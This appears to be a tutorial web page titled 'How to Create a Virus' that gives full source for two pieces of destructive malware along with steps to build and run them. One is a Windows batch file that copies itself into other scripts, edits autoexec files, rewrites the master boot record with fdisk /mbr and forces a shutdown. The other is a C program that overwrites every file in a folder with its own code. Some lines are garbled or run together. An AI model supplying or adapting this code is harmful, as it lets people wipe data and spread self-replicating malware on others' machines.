Translate



How to Create a Virus 

1. Open Notepad in Windows. 


You can do this by navigating to


 Start > Programs > Accessories > Notepad, 
or 

simply by entering notepad under Start > Run.

2. Copy and paste the code given below, in the "Code" Section, into Notepad and click Save as. 


3. Change .txt to All files in the file type drop-down menu.


4.  Replace the .txt at the with .bat and click on Save and close Notepad. 



Code :



@echo off

title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″




Warning : Please don't try to run on your own computer . I 


will not be responsible for any damage done to your 

computer. 
  




Create Your Virus File Using " C Program "
By
Ajay Patel India - 99 24 34 65 11




#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}


How to Test the Virus:


Develop New C Program & Use This Source Code

Before Save This Change file Extension .CPP TO .exe File

After Create a new empty folder.

Past some executable files (or any other files) in the folder.


Run the Virus.exe file. With in a few seconds all the other files in the folder gets infected.